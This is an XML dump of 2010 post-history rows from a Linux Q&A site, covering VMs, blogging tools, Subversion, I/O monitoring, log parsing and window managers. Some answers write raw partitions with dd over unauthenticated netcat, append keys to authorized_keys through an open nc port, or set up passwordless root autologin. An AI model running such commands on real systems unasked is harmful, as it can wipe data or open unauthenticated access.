  <row Id="765" PostHistoryTypeId="2" PostId="415" RevisionGUID="cd2e6453-7aa6-44b1-90e0-ffdd77b24800" CreationDate="2010-08-12T16:14:11.047" UserId="32" Text="This is a server at home. I have 3 computers running Linux and they are all servers running dedicated tasks like MySQL/Samba, Web Server and DNS/DHCP. &#xD;&#xA;&#xD;&#xA;Is it be a good idea to host a virtual machine and do the development on it? Can the VM handle GUI, if possible a different GUI? One of the computers is powerful enough to handle virtual machines. Other two are old discards. &#xD;&#xA;&#xD;&#xA;I won't be able to dual boot any of the servers though. " />
  <row Id="766" PostHistoryTypeId="1" PostId="415" RevisionGUID="cd2e6453-7aa6-44b1-90e0-ffdd77b24800" CreationDate="2010-08-12T16:14:11.047" UserId="32" Text="What is the best way to do GUI development on a server machine?" />
  <row Id="767" PostHistoryTypeId="3" PostId="415" RevisionGUID="cd2e6453-7aa6-44b1-90e0-ffdd77b24800" CreationDate="2010-08-12T16:14:11.047" UserId="32" Text="édevelopmentàévirtualömachineà" />
  <row Id="768" PostHistoryTypeId="2" PostId="416" RevisionGUID="ef1021d5-cd30-4713-88e8-91b5423f1e24" CreationDate="2010-08-12T16:15:18.877" UserId="328" Text="Sometimes I'll ssh into my machine at home and spook my wife (or the cat) by playing a message over the speakers using festival text-to-speech.&#xD;&#xA;&#xD;&#xA;    echo &quot;Helllloooo!  Is anyone home?&quot; | festival --tts" />
  <row Id="769" PostHistoryTypeId="16" PostId="416" RevisionGUID="ef1021d5-cd30-4713-88e8-91b5423f1e24" CreationDate="2010-08-12T16:15:18.877" UserId="-1" />
  <row Id="770" PostHistoryTypeId="2" PostId="417" RevisionGUID="2423efcb-8558-44b2-afe2-2d3d135c22fa" CreationDate="2010-08-12T16:15:39.327" UserId="45" Text="A friend of mine recently converted from Windows to Linux and has been looking for a good app to replace Windows Livewriter. From talking to him it sounds like handling images is the main feature he is looking for.&#xD;&#xA;&#xD;&#xA;Are there any good apps for this?  Switching blog engines isn't really an option for him, so it needs to be a standalone app or a web app that generates html that he could cut and paste.&#xD;&#xA;&#xD;&#xA;I myself use Markdown, but please no 'just write html', 'just write markdown', 'just write xml and use a custom xslt transform' type answers." />
  <row Id="771" PostHistoryTypeId="1" PostId="417" RevisionGUID="2423efcb-8558-44b2-afe2-2d3d135c22fa" CreationDate="2010-08-12T16:15:39.327" UserId="45" Text="What's a good app for blogging?" />
  <row Id="772" PostHistoryTypeId="3" PostId="417" RevisionGUID="2423efcb-8558-44b2-afe2-2d3d135c22fa" CreationDate="2010-08-12T16:15:39.327" UserId="45" Text="éeditorsà" />
  <row Id="773" PostHistoryTypeId="2" PostId="418" RevisionGUID="db18ec2e-5f59-4798-9aba-1ee70b9bfb05" CreationDate="2010-08-12T16:23:37.463" UserId="328" Text="Developing on a virtual machine can be a good idea if you cannot dedicate a machine to a different OS.  For instance if you are writing an app for OS X you can fire up a VM and give it as much memory as it needs.  With most VMs you will need an extra margin of resources because you are running a host OS as well.  I've used [VirtualBox][1] to run Windows and Linux VMs and it works quite well.  For VirtualBox there is even a web based console called [phpvirtualbox][2] for controlling VMs remotely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/&#xD;&#xA;  [2]: http://code.google.com/p/phpvirtualbox/" />
  <row Id="774" PostHistoryTypeId="2" PostId="419" RevisionGUID="5df65cbb-06bd-4cb2-bc6b-588ab5b8aaed" CreationDate="2010-08-12T16:30:02.373" UserId="328" Text="Here is [an article showing several blog publishing client tools][1] for Linux.  However I host a [wordpress][2] blog and I haven't seen a better blogging platform anywhere as far as ease of use and extensibility.  You can also get them freely hosted by wordpress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://netgator.blogspot.com/2010/07/blogging-software-on-ubuntu-linux.html&#xD;&#xA;  [2]: http://wordpress.org/" />
  <row Id="775" PostHistoryTypeId="5" PostId="417" RevisionGUID="3e68afab-0d31-45f0-9a51-256af83eb81a" CreationDate="2010-08-12T16:31:06.943" UserId="45" Comment="added 231 characters in body" Text="A friend of mine recently converted from Windows to Linux and has been looking for a good app to replace Windows Livewriter. From talking to him it sounds like handling images is the main feature he is looking for.&#xD;&#xA;&#xD;&#xA;Are there any good apps for this?  Switching blog engines isn't really an option for him, so it needs to be a standalone app or a web app that generates html that he could cut and paste.&#xD;&#xA;&#xD;&#xA;I myself use Markdown, but please no 'just write html', 'just write markdown', 'just write xml and use a custom xslt transform' type answers.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;I realized I've probably been a bit too restrictive in answer choices here. Please give your suggestions for a solution.  Regardless of whether they meet my friends particular needs, they might meet someone else's needs." />
  <row Id="776" PostHistoryTypeId="2" PostId="420" RevisionGUID="f51a1351-5ef1-4d43-86cc-6ece15e2e293" CreationDate="2010-08-12T16:36:16.737" UserId="328" Text="On Ubuntu 10.04 you can control some startup programs from the GUI. &#xD;&#xA;&#xD;&#xA;System--&gt;Preferences--&gt;Startup Applications&#xD;&#xA;&#xD;&#xA;![startup apps][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://img530.imageshack.us/img530/2531/screenshotstartupapplic.png" />
  <row Id="777" PostHistoryTypeId="2" PostId="421" RevisionGUID="883f2fb1-b921-4d2f-8806-b06594ebbc5d" CreationDate="2010-08-12T16:39:52.160" UserId="85" Text="As a Blogger user who has been repeatedly burned by Blogger's web editor, I find myself using Tomboy to draft my blogs, and then I use the [Tomboy Blogposter][1] add-in to upload the blog as a draft, and make any necessary tweaks.  This is nice because I'm already a heavy Tomboy user so drafting blog posts in a Tomboy note feels natural.  Also, the add-in works on Windows and Mac, too.&#xD;&#xA;&#xD;&#xA;Depending on your style, you may find the need to make these tweaks after uploading a deal-breaker:&#xD;&#xA;&#xD;&#xA; - Creating proper hyperlinks (Tomboy does not let you link arbitrary text to arbitrary URLs)&#xD;&#xA; - Adding images (Tomboy does not have built-in image support)&#xD;&#xA; - Finally, making whatever style tweaks seem necessary, though for the most part I am very satisfied with the HTML uploaded by the Blogposter add-in&#xD;&#xA;&#xD;&#xA;The Blogposter add-in does not ship with Tomboy, but is packaged for most popular distros, and also available in source and binary form from the developer's website (in which case installation is as easy as dropping the .dll file into `~/.config/tomboy/addins`).&#xD;&#xA;&#xD;&#xA;The add-in seems to support most popular blogging platforms.  From the site:&#xD;&#xA;&gt; Tomboy Blogposter is a Tomboy plugin&#xD;&#xA;&gt; to post notes to a blog from for&#xD;&#xA;&gt; instance Wordpress, Blogger or&#xD;&#xA;&gt; LiveJournal, or (hopefully) any other&#xD;&#xA;&gt; AtomPub enabled website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://flukkost.nu/blog/tomboyblogposter/" />
  <row Id="778" PostHistoryTypeId="2" PostId="422" RevisionGUID="874573a7-1cab-460f-9771-858b79920605" CreationDate="2010-08-12T16:41:33.937" UserId="274" Text="Can you suggest a good introduction to SubVersion for UNIX (or MacOSX) users?  It can assume familiarity with basic command-line usage, but not any advanced topic (with bash scripting counting as &quot;advanced usage&quot; here...)&#xD;&#xA;&#xD;&#xA;_Ideally,_ the guide should include:&#xD;&#xA;&#xD;&#xA;  * a short introduction to what a VCS is for (in general) and to the SubVersion model in particular;&#xD;&#xA;  &#xD;&#xA;  * quick-start to usage (checkout, update/edit/commit cycle)&#xD;&#xA;&#xD;&#xA;  * installation instructions; bonus points if it mentions that it's already available for all major OSes out there and leads people to install from package and not compiling from source...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="779" PostHistoryTypeId="1" PostId="422" RevisionGUID="874573a7-1cab-460f-9771-858b79920605" CreationDate="2010-08-12T16:41:33.937" UserId="274" Text="Good introduction to SubVersion for unexperienced users?" />
  <row Id="780" PostHistoryTypeId="3" PostId="422" RevisionGUID="874573a7-1cab-460f-9771-858b79920605" CreationDate="2010-08-12T16:41:33.937" UserId="274" Text="éunixàésubversionàévcsà" />
  <row Id="781" PostHistoryTypeId="2" PostId="423" RevisionGUID="3bee218e-654d-4359-aaff-3e7fcdbdd653" CreationDate="2010-08-12T16:51:30.650" UserId="84" Text="I've always liked this [subversion book][1], which contains a great intro and easy to follow examples. It also has a quickstart guide in the appendix. It's the only documentation I've ever used while I was a subversion user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://svnbook.red-bean.com/" />
  <row Id="782" PostHistoryTypeId="5" PostId="318" RevisionGUID="1deaad1c-2570-42c9-9f53-134b3a0b2d58" CreationDate="2010-08-12T16:54:35.373" UserId="195" Comment="add warning as recommended by comment" Text="Don't know if this would work if all you had was a serial console, but if you have network access at all, then you could use `nc(1)` to copy files using TCP/IP.&#xD;&#xA;&#xD;&#xA;    # WARNING: Depending on your setup, this could make your system unbootable&#xD;&#xA;    root@destination-box.local # nc -l 8675 | dd of=/dev/sda1&#xD;&#xA;    root@source-box.local # dd if=/dev/sdb1 | nc destination-box.local 8675&#xD;&#xA;&#xD;&#xA;In the above example, I cloned sdb1 from a source box to sda1 of the destination box. My choice of 8675 for a TCP port number was arbitrary; you could use any port you have access to. And it doesn't have to be a device; it can be any file.&#xD;&#xA;&#xD;&#xA;    kevin@destination-box.local $ nc -l 12345 &gt;&gt; ~/.ssh/authorized_keys&#xD;&#xA;    kevin@source-box.local $ cat ~/.ssh/id_rsa.pub | nc destination-box.local 12345&#xD;&#xA;&#xD;&#xA;In the second example, I copied my rsa public key(~/.ssh/id_rsa.pub) and added it to the authorized keys file for the target host." />
  <row Id="783" PostHistoryTypeId="2" PostId="424" RevisionGUID="1dd8c4a0-3c52-4c57-a031-b64345ee0363" CreationDate="2010-08-12T16:57:19.923" UserId="76" Text="In general I don't know what tool could help you, except logging `ps` regularly and analysing later the processes activities.&#xD;&#xA;&#xD;&#xA;However, I can make a guess about the spikes around 6:00am on your graph, it could be the Ubuntu default daily cron jobs. On my machine `/etc/crontab`,  `daily.d` is configured to run at 6:25am. But you said we should ignore the time, so the obvious question is, do you have cron jobs? " />
  <row Id="784" PostHistoryTypeId="2" PostId="425" RevisionGUID="100e5c98-17ff-4f2e-831a-47bba0628a93" CreationDate="2010-08-12T17:23:28.633" UserId="5" Text="You can easily run remote desktops on a VM on a server. However, you should consider the bandwidth requirements for this. &#xD;&#xA;&#xD;&#xA;The advantage is that you can develop from anywhere, where you can connect to this remote desktop and all your development tools/IDEs etc are always there and setup in the same way.&#xD;&#xA;&#xD;&#xA;If you run a VM on a server, I would recommend using kvm. Virtualbox runs well on your desktop, because of its GUI, which is not the ideal thing on a server. You can easily configure your kvm VMs with virt-manager. This can also be done remotely, i.e. you run virt-manager on your desktop and virt-manager connects via i.e. ssh to your server.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="785" PostHistoryTypeId="2" PostId="426" RevisionGUID="91bd5afc-9a7c-437a-b92f-0e88c842a031" CreationDate="2010-08-12T17:34:30.907" UserId="32" Text="SuSE seem to install apps in a different directory structure. When I search online for answers, many good solutions are written for other distros. As long as you know where YAST installs the apps and how it sets up the configuration, it should not be a problem. &#xD;&#xA;&#xD;&#xA;I do not use YAST for configuring the apps as it tends to be less optimal than I would like. I like the YAST interface for installing and updating apps." />
  <row Id="787" PostHistoryTypeId="16" PostId="406" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T18:03:53.770" UserId="337" />
  <row Id="788" PostHistoryTypeId="16" PostId="407" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T18:03:53.770" UserId="337" />
  <row Id="789" PostHistoryTypeId="16" PostId="408" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T18:03:53.770" UserId="337" />
  <row Id="790" PostHistoryTypeId="16" PostId="405" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-12T18:03:53.770" UserId="337" />
  <row Id="791" PostHistoryTypeId="5" PostId="93" RevisionGUID="e069100e-464b-418b-8a42-bfd9f33f2ef1" CreationDate="2010-08-12T18:09:03.307" UserId="26" Comment="spelling" Text="Use mdadm, check the manpage. However, I will list one gotcha here. If you do this and really want reliability, you should make sure your master boot record is copied to both drives. By default it will likely only get copied to one drive. If that drive dies, you cannot boot from the other drive, even though all your data is safe.&#xD;&#xA;&#xD;&#xA;To copy the mbr to both drives, use something like dd to copy the first 446 bytes of one drive to the other. &#xD;&#xA;&#xD;&#xA;    md if=/dev/sda of=/dev/sdb bs=446 count=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're building the RAID on top of the devices (/dev/sda) rather than on top of partions on the devices (/dev/sda1), then you probably shouldn't do what I am suggesting because you're writing data directly to the device underneath the md driver. At least, I've never tried it that way.&#xD;&#xA;" />
  <row Id="792" PostHistoryTypeId="2" PostId="428" RevisionGUID="3dcf9a1b-7dc4-4ea5-88ef-309a6673b991" CreationDate="2010-08-12T18:15:24.433" UserId="26" Text="Occasionally, something on my system starts hammering the disk. I would like to log data that would let me know about I/O usage per process, then I could go back to it later and see what keeps doing this. How should I go about solving this problem? Bonus points for solving this for arbitrary block devices." />
  <row Id="793" PostHistoryTypeId="1" PostId="428" RevisionGUID="3dcf9a1b-7dc4-4ea5-88ef-309a6673b991" CreationDate="2010-08-12T18:15:24.433" UserId="26" Text="How do I go about tracking down IO usage in Linux and other *nix OS'?" />
  <row Id="794" PostHistoryTypeId="3" PostId="428" RevisionGUID="3dcf9a1b-7dc4-4ea5-88ef-309a6673b991" CreationDate="2010-08-12T18:15:24.433" UserId="26" Text="élinuxàéperformanceàéioà" />
  <row Id="795" PostHistoryTypeId="2" PostId="429" RevisionGUID="b6729f27-669f-4d55-84bd-71047f36bc94" CreationDate="2010-08-12T18:27:59.243" UserId="5" Text="I would give iotop a try. It is pretty good in giving you the processes with high io transfers.&#xD;&#xA;&#xD;&#xA;Otherwise sar is always a good tool for performance aspects." />
  <row Id="796" PostHistoryTypeId="5" PostId="429" RevisionGUID="e3eb6631-32ef-4d1b-8b7f-f453fb817a8b" CreationDate="2010-08-12T18:35:20.460" UserId="5" Comment="added 67 characters in body" Text="I would give iotop a try. It is pretty good in giving you the processes with high io transfers. But iotop is more to display the current status than logging.&#xD;&#xA;&#xD;&#xA;For logging,  sar is always a good tool for performance aspects. " />
  <row Id="797" PostHistoryTypeId="2" PostId="430" RevisionGUID="1f0cc642-aa55-4d2b-9341-86c149f8e876" CreationDate="2010-08-12T18:50:54.393" UserId="317" Text="can someone help to autologin in console text mode as root in fedora, usually I can do using script like this :&#xD;&#xA;&#xD;&#xA;/sbin/autologin.sh:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    0&lt;/dev/$1 1&gt;/dev/$1 2&gt;&amp;1&#xD;&#xA;    cat /etc/issue&#xD;&#xA;    shift&#xD;&#xA;    exec $*&#xD;&#xA;&#xD;&#xA;and on /etc/inittab do login by calling that script&#xD;&#xA;&#xD;&#xA;    1:2345:respawn:/sbin/autologin.sh tty1 login -f root&#xD;&#xA;    ..&#xD;&#xA;    ..&#xD;&#xA;&#xD;&#xA;now i can't do that, since fedora use /etc/init/tty.conf :&#xD;&#xA;&#xD;&#xA;    stop on runlevel [016]&#xD;&#xA;    respawn&#xD;&#xA;    instance $TTY&#xD;&#xA;    exec /sbin/mingetty $TTY&#xD;&#xA;&#xD;&#xA;*I know its dangerous to autologin and moreover as root, but I don't care, i don't care about security" />
  <row Id="798" PostHistoryTypeId="1" PostId="430" RevisionGUID="1f0cc642-aa55-4d2b-9341-86c149f8e876" CreationDate="2010-08-12T18:50:54.393" UserId="317" Text="autologin console as root on fedora" />
  <row Id="799" PostHistoryTypeId="3" PostId="430" RevisionGUID="1f0cc642-aa55-4d2b-9341-86c149f8e876" CreationDate="2010-08-12T18:50:54.393" UserId="317" Text="éfedoraàéloginàéautologinàéscriptingà" />
  <row Id="800" PostHistoryTypeId="2" PostId="431" RevisionGUID="5142c525-dd74-4498-b415-3531f23b5e18" CreationDate="2010-08-12T18:52:58.833" UserId="138" Text="Most of the serial console programs (minicom, HyperTerm, &lt;a href=&quot;http://vandyke.com/&quot;&gt;VanDyke CRT&lt;/a&gt;...) you'll use on the other end of the connection will have &lt;a href=&quot;http://en.wikipedia.org/wiki/Zmodem&quot;&gt;Zmodem&lt;/a&gt; support, and most Linux boxes have the `lrzsz` package installed on them already.  If not, `lrzsz` is small enough that you could bootstrap the process with one of the other recommended methods.  You could ASCII-upload the sources, either as C text files, or a uuencoded tarball.&#xD;&#xA;&#xD;&#xA;Once you have Zmodem on both ends, just type `rz` to start the receive on the Linux box.&#xD;&#xA;&#xD;&#xA;One of the nice things about Zmodem, relative to other alternatives mentioned like `nc` or `kermit`, is that it sends out a unique string that the serial console program on the other end sees and recognizes as its queue to start a Zmodem send.  You usually get a file picker dialog at this point, letting you choose the file(s) to upload.  Other nice things about Zmodem are the ability to transfer multiple files at once, automatic resume if a transfer aborts, etc." />
  <row Id="804" PostHistoryTypeId="2" PostId="433" RevisionGUID="6848ac16-9f53-4f3b-93ff-5f6658babdc7" CreationDate="2010-08-12T18:59:25.763" UserId="298" Text="So, I hacked this together while undergoing a DDOS attack to pull *naughty* ips out of my logs.  Anyone have any improvements or other suggestions to make it better?  &#xD;&#xA;&#xD;&#xA;Here's the general idea:  &#xD;&#xA;&#xD;&#xA;1. pull ip's only out of log file&#xD;&#xA;2. sort them&#xD;&#xA;3. uniq and count them&#xD;&#xA;4. sort them again&#xD;&#xA;&#xD;&#xA;And the string o'pipes:  &#xD;&#xA;&lt;code&gt;&#xD;&#xA;cut --delim &quot; &quot; -f7 /var/log/apache_access | sort | uniq -c | sort -rn &gt; sorted-ips.txt&#xD;&#xA;&lt;/code&gt;" />
  <row Id="805" PostHistoryTypeId="1" PostId="433" RevisionGUID="6848ac16-9f53-4f3b-93ff-5f6658babdc7" CreationDate="2010-08-12T18:59:25.763" UserId="298" Text="Parsing log files for frequent IP's" />
  <row Id="806" PostHistoryTypeId="3" PostId="433" RevisionGUID="6848ac16-9f53-4f3b-93ff-5f6658babdc7" CreationDate="2010-08-12T18:59:25.763" UserId="298" Text="écommandölineàébashàélogsà" />
  <row Id="807" PostHistoryTypeId="5" PostId="390" RevisionGUID="0b8fe40a-0fc5-4c12-9ac7-a9606845222e" CreationDate="2010-08-12T19:00:18.680" UserId="76" Comment="added 83 characters in body" Text="The [sound naming specification][1] is fairly complete at this point. However, the default [GNOME][2] and [freedesktop sound theme][3] are not complete (and for some good reasons). Also, many applications are not making using of sound events, although they could.&#xD;&#xA;&#xD;&#xA;On GNOME, [libcanberra][4] is commonly used to play sound events.&#xD;&#xA;&#xD;&#xA;By adding custom file in `$XDG_DATA_DIRS/sounds`, you can customize your sound set.&#xD;&#xA;&#xD;&#xA;My theme is &quot;ubuntu&quot;, I can add a file: in `$HOME/.local/share/sounds/ubuntu/stereo/battery-low.oga`&#xD;&#xA;&#xD;&#xA;and test it with ex: `canberra-gtk-play -i battery-low`&#xD;&#xA;&#xD;&#xA;Read the specs and the gnome theme package for further informations. More themes are welcome! We have been looking for help in the past, and [ubuntu as well][5] today.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/public/sound-naming-spec.html&#xD;&#xA;  [2]: http://git.gnome.org/browse/gnome-sound-theme/tree/stereo&#xD;&#xA;  [3]: http://cgit.freedesktop.org/sound-theme-freedesktop/tree/stereo&#xD;&#xA;  [4]: http://0pointer.de/lennart/projects/libcanberra/&#xD;&#xA;  [5]: http://mikebuntu.blogspot.com/2010/08/ubuntu-needs-new-sound-theme.html" />
  <row Id="808" PostHistoryTypeId="2" PostId="434" RevisionGUID="c6acc19c-fe5c-44c4-b0a6-60b39bdb3b1f" CreationDate="2010-08-12T19:15:59.950" UserId="138" Text="It sounds like you're in the middle of reinventing the &lt;a href=&quot;http://www.fail2ban.org/&quot;&gt;fail2ban&lt;/a&gt; wheel.&#xD;&#xA;&#xD;&#xA;Give fail2ban a look.  It probably does what you want already, and if not, it's easy to customize." />
  <row Id="809" PostHistoryTypeId="5" PostId="431" RevisionGUID="35faa7a2-1974-4f16-8ee8-784f2ef0f8ba" CreationDate="2010-08-12T19:18:04.533" UserId="138" Comment="style" Text="Most of the serial console programs (minicom, HyperTerm, &lt;a href=&quot;http://vandyke.com/&quot;&gt;VanDyke CRT&lt;/a&gt;...) you'll use on the other end of the connection will have &lt;a href=&quot;http://en.wikipedia.org/wiki/Zmodem&quot;&gt;Zmodem&lt;/a&gt; support, and most Linux boxes have the &lt;a href=&quot;http://www.ohse.de/uwe/software/lrzsz.html&quot;&gt;`lrzsz`&lt;/a&gt; package installed on them already.  If not, `lrzsz` is small enough that you could bootstrap the process with one of the other recommended methods.  You could ASCII-upload the sources, either as C text files, or a uuencoded tarball.&#xD;&#xA;&#xD;&#xA;Once you have Zmodem on both ends, just type `rz` to start the receive on the Linux box.&#xD;&#xA;&#xD;&#xA;One of the nice things about Zmodem, relative to other alternatives mentioned like `nc` or `kermit`, is that it sends out a unique string that the serial console program on the other end recognizes as its cue to start a Zmodem send.  You usually get a file picker dialog at this point, letting you choose the file(s) to upload.&#xD;&#xA;&#xD;&#xA;Other nice things about Zmodem are the ability to transfer multiple files at once, automatic resume if a transfer aborts, etc." />
  <row Id="810" PostHistoryTypeId="5" PostId="317" RevisionGUID="881e033c-e419-42cb-91b9-fcdaa95e66ac" CreationDate="2010-08-12T19:54:58.923" UserId="183" Comment="added 148 characters in body; deleted 6 characters in body; added 12 characters in body" Text="As has been mentioned, Gnome is not a Window Manager, but a Desktop Environment.  You can choose from many [tiling window managers](http://en.wikipedia.org/wiki/Tiling_window_manager), such as StumpWM, wmii, or XMonad.&#xD;&#xA;&#xD;&#xA;Here is how you use one to replace the default window manager.&#xD;&#xA;&#xD;&#xA;From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little editing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use gnome-session 2.3 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;     export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run gnome-session 2.4 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;     gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you Gnome and default theme settings (such as fonts), but with your-favorite-window-manager instead of Metacity." />
  <row Id="811" PostHistoryTypeId="5" PostId="394" RevisionGUID="d4573645-9293-43b3-b6c8-a870510c88ca" CreationDate="2010-08-12T20:09:08.217" UserId="10" Comment="deleted 3 characters in body" Text="In tmux (a terminal multiplexer) you can press Ctrl+A-[ to switch to the Vi buffer mode where you can navigate around the screen, scroll the buffer back and forth, copy text etc. The default shortcut is actually Ctrl+B-[ but that was obviously meant to be reconfigured. Also, the default buffer mode is Emacs but you can configure it to be Vi. &#xD;&#xA;&#xD;&#xA;Check out tmux, it really is a great modern terminal multiplexer. Besides working with buffer you can split screen in multiple windows, connect to the same session from multiple terminals etc. For ultimate convenience you can even make it your login shell if you tell it what your actual shell is.&#xD;&#xA;&#xD;&#xA;On OpenBSD tmux was even made part of the base system. &#xD;&#xA;&#xD;&#xA;See man page for tmux for more details. Also see screenshots on http://tmux.sourceforge.net/" />
  <row Id="815" PostHistoryTypeId="2" PostId="436" RevisionGUID="8a4cd843-cf62-4a9b-8629-76e241931205" CreationDate="2010-08-12T20:41:35.177" UserId="272" Text="The applet 'X Tile' can tile your windows from the Gnome panel on demand. It's in Fedora at least and works nicely." />
  <row Id="816" PostHistoryTypeId="6" PostId="50" RevisionGUID="29ba8b1d-a686-43bb-a856-ba814cc87bc3" CreationDate="2010-08-12T20:47:28.547" UserId="272" Comment="edited tags" Text="éstorageàésoftwareöraidà" />
  <row Id="818" PostHistoryTypeId="2" PostId="437" RevisionGUID="eaf60b01-7b95-44cc-b68c-9cc2602d1a92" CreationDate="2010-08-12T20:51:55.167" UserId="272" Text="I'm not entirely sure it's going to be a perfect fit, but the process accounting package (mostly named psacct or acct) is able to keep record of who (which account) runs what (what program). This might help you figure out what is running at the time you specified." />
  <row Id="819" PostHistoryTypeId="2" PostId="438" RevisionGUID="8fd7f619-fd22-492c-a464-55a97b561a7c" CreationDate="2010-08-12T21:07:58.513" UserId="317" Text="no problem I solved it:&#xD;&#xA;&#xD;&#xA;on `/etc/init/tty.conf`&#xD;&#xA;&#xD;&#xA;    exec /sbin/mingetty --autologin root $TTY&#xD;&#xA;&#xD;&#xA;" />
  <row Id="820" PostHistoryTypeId="2" PostId="439" RevisionGUID="bc48a66f-bf92-4f70-86f1-7192170acd0e" CreationDate="2010-08-12T21:11:46.460" UserId="317" Text="is there any way to keep file size of log file is fixed **without** rotating it by new empty file and delete (or archive the old file), for example if I set log file maximum size is 1MB, after the file size increase beyond that limit it will be automatically clamped, the text is added on 'tail' and the oldest part of text is poped out to keep the file size 1MB" />
  <row Id="821" PostHistoryTypeId="1" PostId="439" RevisionGUID="bc48a66f-bf92-4f70-86f1-7192170acd0e" CreationDate="2010-08-12T21:11:46.460" UserId="317" Text="keep log file size fixed without logrotate" />
  <row Id="822" PostHistoryTypeId="3" PostId="439" RevisionGUID="bc48a66f-bf92-4f70-86f1-7192170acd0e" CreationDate="2010-08-12T21:11:46.460" UserId="317" Text="ésizeàélogàéfilesàélogrotateà" />
  <row Id="823" PostHistoryTypeId="2" PostId="440" RevisionGUID="25197582-f49d-4958-bf5b-152ad4191a8b" CreationDate="2010-08-12T22:06:59.833" UserId="334" Text="The svn book (as others have mentioned) is probably the most comprehensive text.&#xD;&#xA;&#xD;&#xA;If you want a quick introduction to the concepts then the second chapter of the TortoiseSVN documentation &quot;[Basic Version-Control Concepts][1]&quot; is quite good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-basics.html" />
  <row Id="824" PostHistoryTypeId="6" PostId="50" RevisionGUID="8fce11fb-ea77-45f0-b751-79ad9036e9ea" CreationDate="2010-08-12T22:10:06.913" UserId="29" Comment="edited tags" Text="élinuxàéstorageàésoftwareöraidà" />
  <row Id="825" PostHistoryTypeId="2" PostId="441" RevisionGUID="b0f2d82e-6049-4149-9a2d-9daedc3715b7" CreationDate="2010-08-12T22:12:57.943" UserDisplayName="Javier Reséndiz" Text="Since you will migrate from a Windows based infrastructure to a Linux based one. I think that in addition to the setup of the new LDAP servers, you will need to migrate the user account information.&#xD;&#xA;If this is your case, maybe you could use the LDIFDE tool from the Windows AD Server to Export the required information. After that, you would import that information to the new Directory.&#xD;&#xA;" />
  <row Id="826" PostHistoryTypeId="5" PostId="93" RevisionGUID="025d7304-d1c5-4313-9776-23f9eaf803c3" CreationDate="2010-08-12T23:07:34.460" UserId="26" Comment="spelling: 'md' -&gt; 'dd'" Text="Use mdadm, check the manpage. However, I will list one gotcha here. If you do this and really want reliability, you should make sure your master boot record is copied to both drives. By default it will likely only get copied to one drive. If that drive dies, you cannot boot from the other drive, even though all your data is safe.&#xD;&#xA;&#xD;&#xA;To copy the mbr to both drives, use something like dd to copy the first 446 bytes of one drive to the other. &#xD;&#xA;&#xD;&#xA;    dd if=/dev/sda of=/dev/sdb bs=446 count=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're building the RAID on top of the devices (/dev/sda) rather than on top of partions on the devices (/dev/sda1), then you probably shouldn't do what I am suggesting because you're writing data directly to the device underneath the md driver. At least, I've never tried it that way.&#xD;&#xA;" />
  <row Id="827" PostHistoryTypeId="2" PostId="442" RevisionGUID="be691d91-9682-4c89-b5c1-3d47f2021b88" CreationDate="2010-08-12T23:12:33.673" UserId="39" Text="I've always used this:&#xD;&#xA;&#xD;&#xA;`tail -1000 /var/log/apache_access | awk '{print $1}' | sort -nk1 | uniq -c | sort -nk1`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With `tail` I'm able to set the limit of how far back I really want to go - good if you don't use log rotate (for whatever reason), second I'm making use of `awk` - since most logs are space delimited I've left my self with the ability to pull additional information out (possibly what URLs they were hitting, statuses, browsers, etc) by adding the appropriate `$` variable. Lastly a flaw in `uniq` it only works in touching pairs - IE:&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    A&#xD;&#xA;    A&#xD;&#xA;&#xD;&#xA;Will produce:&#xD;&#xA;&#xD;&#xA;    4 A&#xD;&#xA;    1 B&#xD;&#xA;    2 A&#xD;&#xA;&#xD;&#xA;Not the desired output. So we sort the first column (in this case the ips, but we could sort other columns) then `uniq` them, finally sort the count ascending so I can see the highest offenders." />
  <row Id="828" PostHistoryTypeId="2" PostId="443" RevisionGUID="a69c6574-beb5-4e4a-ab54-2493ca9f48ef" CreationDate="2010-08-12T23:41:28.977" UserId="29" Text="I just found an [article][1] posting how to do it for kubuntu.&#xD;&#xA;&#xD;&#xA;The short of it is configure the file association for text/html (embedding) and set the first as webkit. I'm sure you should do it for application+xml/xhtml too. Maybe some others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://digitizor.com/2010/08/11/how-to-switch-to-webkit-in-konqueror-browser-kde-sc-4-5kubuntu/" />
